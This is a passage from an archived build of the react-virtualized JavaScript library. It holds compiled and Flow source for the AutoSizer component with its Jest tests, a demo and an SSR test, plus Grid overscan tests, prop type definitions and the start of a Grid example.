        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = findDOMNode(render(getMarkup({
                ChildComponent: ChildComponent,
                disableWidth: true,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context4.next = 7;
              return _regeneratorRuntime.awrap(simulateResize({
                element: rendered,
                height: 100,
                width: 300
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(0);
              expect(onResize).toHaveBeenCalledTimes(1);
              _context4.next = 11;
              return _regeneratorRuntime.awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 300
              }));

            case 11:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 14:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
    it('should only trigger when width changes for disableHeight == true', function _callee4(done) {
      var onResize, ChildComponent, rendered;
      return _regeneratorRuntime.async(function _callee4$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = findDOMNode(render(getMarkup({
                ChildComponent: ChildComponent,
                disableHeight: true,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context5.next = 7;
              return _regeneratorRuntime.awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 200
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(0);
              expect(onResize).toHaveBeenCalledTimes(1);
              _context5.next = 11;
              return _regeneratorRuntime.awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 300
              }));

            case 11:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 14:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
  });
  describe('className and style', function () {
    it('should use a custom :className if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        className: 'foo'
      })));
      expect(rendered.firstChild.className).toContain('foo');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = findDOMNode(render(getMarkup({
        style: style
      })));
      expect(rendered.firstChild.style.backgroundColor).toEqual('red');
    });
  });
});es/AutoSizer/index.js.flow000064400000000141151677406000011515 0ustar00// @flow

export {default} from './AutoSizer';
export {default as AutoSizer} from './AutoSizer';
es/AutoSizer/AutoSizer.js000064400000020205151677406000011370 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import createDetectElementResize from '../vendor/detectElementResize';
var AutoSizer = (_temp = _class =
/*#__PURE__*/
function (_React$Component) {
  _inherits(AutoSizer, _React$Component);

  function AutoSizer() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, AutoSizer);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(AutoSizer)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      height: _this.props.defaultHeight || 0,
      width: _this.props.defaultWidth || 0
    });

    _defineProperty(_assertThisInitialized(_this), "_parentNode", void 0);

    _defineProperty(_assertThisInitialized(_this), "_autoSizer", void 0);

    _defineProperty(_assertThisInitialized(_this), "_window", void 0);

    _defineProperty(_assertThisInitialized(_this), "_detectElementResize", void 0);

    _defineProperty(_assertThisInitialized(_this), "_onResize", function () {
      var _this$props = _this.props,
          disableHeight = _this$props.disableHeight,
          disableWidth = _this$props.disableWidth,
          onResize = _this$props.onResize;

      if (_this._parentNode) {
        // Guard against AutoSizer component being removed from the DOM immediately after being added.
        // This can result in invalid style values which can result in NaN values if we don't handle them.
        // See issue #150 for more context.
        var height = _this._parentNode.offsetHeight || 0;
        var width = _this._parentNode.offsetWidth || 0;
        var win = _this._window || window;
        var style = win.getComputedStyle(_this._parentNode) || {};
        var paddingLeft = parseInt(style.paddingLeft, 10) || 0;
        var paddingRight = parseInt(style.paddingRight, 10) || 0;
        var paddingTop = parseInt(style.paddingTop, 10) || 0;
        var paddingBottom = parseInt(style.paddingBottom, 10) || 0;
        var newHeight = height - paddingTop - paddingBottom;
        var newWidth = width - paddingLeft - paddingRight;

        if (!disableHeight && _this.state.height !== newHeight || !disableWidth && _this.state.width !== newWidth) {
          _this.setState({
            height: height - paddingTop - paddingBottom,
            width: width - paddingLeft - paddingRight
          });

          onResize({
            height: height,
            width: width
          });
        }
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_setRef", function (autoSizer) {
      _this._autoSizer = autoSizer;
    });

    return _this;
  }

  _createClass(AutoSizer, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      var nonce = this.props.nonce;

      if (this._autoSizer && this._autoSizer.parentNode && this._autoSizer.parentNode.ownerDocument && this._autoSizer.parentNode.ownerDocument.defaultView && this._autoSizer.parentNode instanceof this._autoSizer.parentNode.ownerDocument.defaultView.HTMLElement) {
        // Delay access of parentNode until mount.
        // This handles edge-cases where the component has already been unmounted before its ref has been set,
        // As well as libraries like react-lite which have a slightly different lifecycle.
        this._parentNode = this._autoSizer.parentNode;
        this._window = this._autoSizer.parentNode.ownerDocument.defaultView; // Defer requiring resize handler in order to support server-side rendering.
        // See issue #41

        this._detectElementResize = createDetectElementResize(nonce, this._window);

        this._detectElementResize.addResizeListener(this._parentNode, this._onResize);

        this._onResize();
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._detectElementResize && this._parentNode) {
        this._detectElementResize.removeResizeListener(this._parentNode, this._onResize);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          children = _this$props2.children,
          className = _this$props2.className,
          disableHeight = _this$props2.disableHeight,
          disableWidth = _this$props2.disableWidth,
          style = _this$props2.style;
      var _this$state = this.state,
          height = _this$state.height,
          width = _this$state.width; // Outer div should not force width/height since that may prevent containers from shrinking.
      // Inner component should overflow and use calculated width/height.
      // See issue #68 for more information.

      var outerStyle = {
        overflow: 'visible'
      };
      var childParams = {};

      if (!disableHeight) {
        outerStyle.height = 0;
        childParams.height = height;
      }

      if (!disableWidth) {
        outerStyle.width = 0;
        childParams.width = width;
      }
      /**
       * TODO: Avoid rendering children before the initial measurements have been collected.
       * At best this would just be wasting cycles.
       * Add this check into version 10 though as it could break too many ref callbacks in version 9.
       * Note that if default width/height props were provided this would still work with SSR.
      if (
        height !== 0 &&
        width !== 0
      ) {
        child = children({ height, width })
      }
      */


      return React.createElement("div", {
        className: className,
        ref: this._setRef,
        style: _objectSpread({}, outerStyle, {}, style)
      }, children(childParams));
    }
  }]);

  return AutoSizer;
}(React.Component), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  /** Function responsible for rendering children.*/
  "children": PropTypes.func.isRequired,

  /** Optional custom CSS class name to attach to root AutoSizer element.  */
  "className": PropTypes.string,

  /** Default height to use for initial render; useful for SSR */
  "defaultHeight": PropTypes.number,

  /** Default width to use for initial render; useful for SSR */
  "defaultWidth": PropTypes.number,

  /** Disable dynamic :height property */
  "disableHeight": PropTypes.bool.isRequired,

  /** Disable dynamic :width property */
  "disableWidth": PropTypes.bool.isRequired,

  /** Nonce of the inlined stylesheet for Content Security Policy */
  "nonce": PropTypes.string,

  /** Callback to be invoked on-resize */
  "onResize": PropTypes.func.isRequired,

  /** Optional inline style */
  "style": PropTypes.object
}), _temp);

_defineProperty(AutoSizer, "defaultProps", {
  onResize: function onResize() {},
  disableHeight: false,
  disableWidth: false,
  style: {}
});

export { AutoSizer as default };
import PropTypes from "prop-types";es/AutoSizer/index.js000064400000000132151677406000010547 0ustar00export { default } from './AutoSizer';
export { default as AutoSizer } from './AutoSizer';es/AutoSizer/AutoSizer.js.flow000064400000013034151677406000012340 0ustar00/** @flow */

import * as React from 'react';
import createDetectElementResize from '../vendor/detectElementResize';

type Size = {
  height: number,
  width: number,
};

type Props = {
  /** Function responsible for rendering children.*/
  children: Size => React.Element<*>,

  /** Optional custom CSS class name to attach to root AutoSizer element.  */
  className?: string,

  /** Default height to use for initial render; useful for SSR */
  defaultHeight?: number,

  /** Default width to use for initial render; useful for SSR */
  defaultWidth?: number,

  /** Disable dynamic :height property */
  disableHeight: boolean,

  /** Disable dynamic :width property */
  disableWidth: boolean,

  /** Nonce of the inlined stylesheet for Content Security Policy */
  nonce?: string,

  /** Callback to be invoked on-resize */
  onResize: Size => void,

  /** Optional inline style */
  style: ?Object,
};

type State = {
  height: number,
  width: number,
};

type ResizeHandler = (element: HTMLElement, onResize: () => void) => void;

type DetectElementResize = {
  addResizeListener: ResizeHandler,
  removeResizeListener: ResizeHandler,
};

export default class AutoSizer extends React.Component<Props, State> {
  static defaultProps = {
    onResize: () => {},
    disableHeight: false,
    disableWidth: false,
    style: {},
  };

  state = {
    height: this.props.defaultHeight || 0,
    width: this.props.defaultWidth || 0,
  };

  _parentNode: ?HTMLElement;
  _autoSizer: ?HTMLElement;
  _window: ?any; // uses any instead of Window because Flow doesn't have window type
  _detectElementResize: DetectElementResize;

  componentDidMount() {
    const {nonce} = this.props;
    if (
      this._autoSizer &&
      this._autoSizer.parentNode &&
      this._autoSizer.parentNode.ownerDocument &&
      this._autoSizer.parentNode.ownerDocument.defaultView &&
      this._autoSizer.parentNode instanceof
        this._autoSizer.parentNode.ownerDocument.defaultView.HTMLElement
    ) {
      // Delay access of parentNode until mount.
      // This handles edge-cases where the component has already been unmounted before its ref has been set,
      // As well as libraries like react-lite which have a slightly different lifecycle.
      this._parentNode = this._autoSizer.parentNode;
      this._window = this._autoSizer.parentNode.ownerDocument.defaultView;

      // Defer requiring resize handler in order to support server-side rendering.
      // See issue #41
      this._detectElementResize = createDetectElementResize(
        nonce,
        this._window,
      );
      this._detectElementResize.addResizeListener(
        this._parentNode,
        this._onResize,
      );

      this._onResize();
    }
  }

  componentWillUnmount() {
    if (this._detectElementResize && this._parentNode) {
      this._detectElementResize.removeResizeListener(
        this._parentNode,
        this._onResize,
      );
    }
  }

  render() {
    const {
      children,
      className,
      disableHeight,
      disableWidth,
      style,
    } = this.props;
    const {height, width} = this.state;

    // Outer div should not force width/height since that may prevent containers from shrinking.
    // Inner component should overflow and use calculated width/height.
    // See issue #68 for more information.
    const outerStyle: Object = {overflow: 'visible'};
    const childParams: Object = {};

    if (!disableHeight) {
      outerStyle.height = 0;
      childParams.height = height;
    }

    if (!disableWidth) {
      outerStyle.width = 0;
      childParams.width = width;
    }

    /**
     * TODO: Avoid rendering children before the initial measurements have been collected.
     * At best this would just be wasting cycles.
     * Add this check into version 10 though as it could break too many ref callbacks in version 9.
     * Note that if default width/height props were provided this would still work with SSR.
    if (
      height !== 0 &&
      width !== 0
    ) {
      child = children({ height, width })
    }
    */

    return (
      <div
        className={className}
        ref={this._setRef}
        style={{
          ...outerStyle,
          ...style,
        }}>
        {children(childParams)}
      </div>
    );
  }

  _onResize = () => {
    const {disableHeight, disableWidth, onResize} = this.props;

    if (this._parentNode) {
      // Guard against AutoSizer component being removed from the DOM immediately after being added.
      // This can result in invalid style values which can result in NaN values if we don't handle them.
      // See issue #150 for more context.

      const height = this._parentNode.offsetHeight || 0;
      const width = this._parentNode.offsetWidth || 0;

      const win = this._window || window;
      const style = win.getComputedStyle(this._parentNode) || {};
      const paddingLeft = parseInt(style.paddingLeft, 10) || 0;
      const paddingRight = parseInt(style.paddingRight, 10) || 0;
      const paddingTop = parseInt(style.paddingTop, 10) || 0;
      const paddingBottom = parseInt(style.paddingBottom, 10) || 0;

      const newHeight = height - paddingTop - paddingBottom;
      const newWidth = width - paddingLeft - paddingRight;

      if (
        (!disableHeight && this.state.height !== newHeight) ||
        (!disableWidth && this.state.width !== newWidth)
      ) {
        this.setState({
          height: height - paddingTop - paddingBottom,
          width: width - paddingLeft - paddingRight,
        });

        onResize({height, width});
      }
    }
  };

  _setRef = (autoSizer: ?HTMLElement) => {
    this._autoSizer = autoSizer;
  };
}
es/AutoSizer/AutoSizer.example.js000064400000010733151677406000013027 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

import { List as ImmutableList } from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import AutoSizer from './AutoSizer';
import List from '../List';
import styles from './AutoSizer.example.css';
var AutoSizerExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(AutoSizerExample, _React$PureComponent);

  function AutoSizerExample() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, AutoSizerExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(AutoSizerExample)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      hideDescription: false
    });

    _defineProperty(_assertThisInitialized(_this), "_rowRenderer", function (_ref) {
      var index = _ref.index,
          key = _ref.key,
          style = _ref.style;
      var list = _this.context.list;
      var row = list.get(index);
      return React.createElement("div", {
        key: key,
        className: styles.row,
        style: style
      }, row.name);
    });

    return _this;
  }

  _createClass(AutoSizerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var list = this.context.list;
      var hideDescription = this.state.hideDescription;
      return React.createElement(ContentBox, _extends({}, this.props, {
        style: {
          height: 400
        }
      }), React.createElement(ContentBoxHeader, {
        text: "AutoSizer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/AutoSizer/AutoSizer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/AutoSizer.md"
      }), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide description (to show resize)?",
        className: styles.checkbox,
        type: "checkbox",
        checked: hideDescription,
        onChange: function onChange(event) {
          return _this2.setState({
            hideDescription: event.target.checked
          });
        }
      }), "Hide description (to show resize)?")), !hideDescription && React.createElement(ContentBoxParagraph, null, "This component decorates ", React.createElement("code", null, "List"), ", ", React.createElement("code", null, "Table"), ", or any other component and automatically manages its width and height. It uses Sebastian Decima's", ' ', React.createElement("a", {
        href: "https://github.com/sdecima/javascript-detect-element-resize",
        target: "_blank"
      }, "element resize event"), ' ', "to determine the appropriate size. In this example", ' ', React.createElement("code", null, "AutoSizer"), " grows to fill the remaining width and height of this flex column."), React.createElement("div", {
        className: styles.AutoSizerWrapper
      }, React.createElement(AutoSizer, null, function (_ref2) {
        var width = _ref2.width,
            height = _ref2.height;
        return React.createElement(List, {
          className: styles.List,
          height: height,
          rowCount: list.size,
          rowHeight: 30,
          rowRenderer: _this2._rowRenderer,
          width: width
        });
      })));
    }
  }]);

  return AutoSizerExample;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);

_defineProperty(AutoSizerExample, "contextTypes", {
  list: PropTypes.instanceOf(ImmutableList).isRequired
});

export { AutoSizerExample as default };
import { bpfrpt_proptype_RowRendererParams } from "../List";es/AutoSizer/AutoSizer.ssr.js000064400000001201151677406000012171 0ustar00/**
 * @jest-environment node
 */
import * as React from 'react';
import * as ReactDOMServer from 'react-dom/server';
import AutoSizer from './AutoSizer';
test('should render content with default widths and heights initially', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(AutoSizer, {
    defaultHeight: 100,
    defaultWidth: 200
  }, function (_ref) {
    var height = _ref.height,
        width = _ref.width;
    return React.createElement("div", null, "height:".concat(height, ";width:").concat(width));
  }));
  expect(rendered).toContain('height:100');
  expect(rendered).toContain('width:200');
});es/Grid/defaultOverscanIndicesGetter.jest.js000064400000004652151677406000015156 0ustar00import overscanIndicesGetter, { SCROLL_DIRECTION_BACKWARD, SCROLL_DIRECTION_FORWARD } from './defaultOverscanIndicesGetter';
describe('overscanIndicesGetter', function () {
  function testHelper(_ref) {
    var cellCount = _ref.cellCount,
        startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex,
        overscanCellsCount = _ref.overscanCellsCount,
        scrollDirection = _ref.scrollDirection;
    return overscanIndicesGetter({
      cellCount: cellCount,
      overscanCellsCount: overscanCellsCount,
      scrollDirection: scrollDirection,
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  it('should not overscan if :overscanCellsCount is 0', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 20
    });
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 20
    });
  });
  it('should overscan forward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 20,
      overscanStopIndex: 40
    });
  });
  it('should overscan backward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 30
    });
  });
  it('should not overscan beyond the start of the list', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 5,
      stopIndex: 15,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 0,
      overscanStopIndex: 15
    });
  });
  it('should not overscan beyond the end of the list', function () {
    expect(testHelper({
      cellCount: 25,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 10,
      scrollDirection: SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 24
    });
  });
});es/Grid/types.js000064400000014131151677406000007550 0ustar00import * as React from 'react';
import ScalingCellSizeAndPositionManager from './utils/ScalingCellSizeAndPositionManager';
var bpfrpt_proptype_CellPosition = process.env.NODE_ENV === 'production' ? null : {
  "columnIndex": PropTypes.number.isRequired,
  "rowIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_CellRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "columnIndex": PropTypes.number.isRequired,
  "isScrolling": PropTypes.bool.isRequired,
  "isVisible": PropTypes.bool.isRequired,
  "key": PropTypes.string.isRequired,
  "parent": PropTypes.object.isRequired,
  "rowIndex": PropTypes.number.isRequired,
  "style": PropTypes.object.isRequired
};
var bpfrpt_proptype_CellRenderer = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_CellCache = process.env.NODE_ENV === 'production' ? null : PropTypes.objectOf(PropTypes.node.isRequired);
var bpfrpt_proptype_StyleCache = process.env.NODE_ENV === 'production' ? null : PropTypes.objectOf(PropTypes.object.isRequired);
var bpfrpt_proptype_CellRangeRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "cellCache": PropTypes.objectOf(PropTypes.node.isRequired).isRequired,
  "cellRenderer": PropTypes.func.isRequired,
  "columnSizeAndPositionManager": function columnSizeAndPositionManager() {
    return (typeof ScalingCellSizeAndPositionManager === "function" ? PropTypes.instanceOf(ScalingCellSizeAndPositionManager).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "columnStartIndex": PropTypes.number.isRequired,
  "columnStopIndex": PropTypes.number.isRequired,
  "deferredMeasurementCache": PropTypes.object,
  "horizontalOffsetAdjustment": PropTypes.number.isRequired,
  "isScrolling": PropTypes.bool.isRequired,
  "isScrollingOptOut": PropTypes.bool.isRequired,
  "parent": PropTypes.object.isRequired,
  "rowSizeAndPositionManager": function rowSizeAndPositionManager() {
    return (typeof ScalingCellSizeAndPositionManager === "function" ? PropTypes.instanceOf(ScalingCellSizeAndPositionManager).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "rowStartIndex": PropTypes.number.isRequired,
  "rowStopIndex": PropTypes.number.isRequired,
  "scrollLeft": PropTypes.number.isRequired,
  "scrollTop": PropTypes.number.isRequired,
  "styleCache": PropTypes.objectOf(PropTypes.object.isRequired).isRequired,
  "verticalOffsetAdjustment": PropTypes.number.isRequired,
  "visibleColumnIndices": PropTypes.object.isRequired,
  "visibleRowIndices": PropTypes.object.isRequired
};
var bpfrpt_proptype_CellRangeRenderer = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_CellSizeGetter = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_CellSize = process.env.NODE_ENV === 'production' ? null : PropTypes.oneOfType([PropTypes.func, PropTypes.number]);
var bpfrpt_proptype_NoContentRenderer = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_Scroll = process.env.NODE_ENV === 'production' ? null : {
  "clientHeight": PropTypes.number.isRequired,
  "clientWidth": PropTypes.number.isRequired,
  "scrollHeight": PropTypes.number.isRequired,
  "scrollLeft": PropTypes.number.isRequired,
  "scrollTop": PropTypes.number.isRequired,
  "scrollWidth": PropTypes.number.isRequired
};
var bpfrpt_proptype_ScrollbarPresenceChange = process.env.NODE_ENV === 'production' ? null : {
  "horizontal": PropTypes.bool.isRequired,
  "vertical": PropTypes.bool.isRequired,
  "size": PropTypes.number.isRequired
};
var bpfrpt_proptype_RenderedSection = process.env.NODE_ENV === 'production' ? null : {
  "columnOverscanStartIndex": PropTypes.number.isRequired,
  "columnOverscanStopIndex": PropTypes.number.isRequired,
  "columnStartIndex": PropTypes.number.isRequired,
  "columnStopIndex": PropTypes.number.isRequired,
  "rowOverscanStartIndex": PropTypes.number.isRequired,
  "rowOverscanStopIndex": PropTypes.number.isRequired,
  "rowStartIndex": PropTypes.number.isRequired,
  "rowStopIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_OverscanIndicesGetterParams = process.env.NODE_ENV === 'production' ? null : {
  // One of SCROLL_DIRECTION_HORIZONTAL or SCROLL_DIRECTION_VERTICAL
  "direction": PropTypes.oneOf(["horizontal", "vertical"]).isRequired,
  // One of SCROLL_DIRECTION_BACKWARD or SCROLL_DIRECTION_FORWARD
  "scrollDirection": PropTypes.oneOf([-1, 1]).isRequired,
  // Number of rows or columns in the current axis
  "cellCount": PropTypes.number.isRequired,
  // Maximum number of cells to over-render in either direction
  "overscanCellsCount": PropTypes.number.isRequired,
  // Begin of range of visible cells
  "startIndex": PropTypes.number.isRequired,
  // End of range of visible cells
  "stopIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_OverscanIndices = process.env.NODE_ENV === 'production' ? null : {
  "overscanStartIndex": PropTypes.number.isRequired,
  "overscanStopIndex": PropTypes.number.isRequired
};
var bpfrpt_proptype_OverscanIndicesGetter = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
var bpfrpt_proptype_Alignment = process.env.NODE_ENV === 'production' ? null : PropTypes.oneOf(["auto", "end", "start", "center"]);
var bpfrpt_proptype_VisibleCellRange = process.env.NODE_ENV === 'production' ? null : {
  "start": PropTypes.number,
  "stop": PropTypes.number
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_CellPosition };
export { bpfrpt_proptype_CellRendererParams };
export { bpfrpt_proptype_CellRenderer };
export { bpfrpt_proptype_CellCache };
export { bpfrpt_proptype_StyleCache };
export { bpfrpt_proptype_CellRangeRendererParams };
export { bpfrpt_proptype_CellRangeRenderer };
export { bpfrpt_proptype_CellSizeGetter };
export { bpfrpt_proptype_CellSize };
export { bpfrpt_proptype_NoContentRenderer };
export { bpfrpt_proptype_Scroll };
export { bpfrpt_proptype_ScrollbarPresenceChange };
export { bpfrpt_proptype_RenderedSection };
export { bpfrpt_proptype_OverscanIndicesGetterParams };
export { bpfrpt_proptype_OverscanIndices };
export { bpfrpt_proptype_OverscanIndicesGetter };
export { bpfrpt_proptype_Alignment };
export { bpfrpt_proptype_VisibleCellRange };es/Grid/Grid.example.js000064400000030336151677406000010730 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import AutoSizer from '../AutoSizer';
import Grid from './Grid';
import clsx from 'clsx';
import styles from './Grid.example.css';

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    _classCallCheck(this, GridExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(GridExample).call(this, props, context));
    _this.state = {
      columnCount: 1000,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 10,
      rowHeight: 40,
      rowCount: 1000,
      scrollToColumn: undefined,
      scrollToRow: undefined,
      useDynamicRowHeight: false
    };
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    _this._getColumnWidth = _this._getColumnWidth.bind(_assertThisInitialized(_this));
    _this._getRowClassName = _this._getRowClassName.bind(_assertThisInitialized(_this));
    _this._getRowHeight = _this._getRowHeight.bind(_assertThisInitialized(_this));
    _this._noContentRenderer = _this._noContentRenderer.bind(_assertThisInitialized(_this));
    _this._onColumnCountChange = _this._onColumnCountChange.bind(_assertThisInitialized(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind(_assertThisInitialized(_this));
    _this._onScrollToColumnChange = _this._onScrollToColumnChange.bind(_assertThisInitialized(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind(_assertThisInitialized(_this));
    _this._renderBodyCell = _this._renderBodyCell.bind(_assertThisInitialized(_this));
    _this._renderLeftSideCell = _this._renderLeftSideCell.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnCount = _this$state.columnCount,
          height = _this$state.height,
          overscanColumnCount = _this$state.overscanColumnCount,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount,
          scrollToColumn = _this$state.scrollToColumn,
          scrollToRow = _this$state.scrollToRow,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "Grid",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Grid/Grid.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Grid.md"
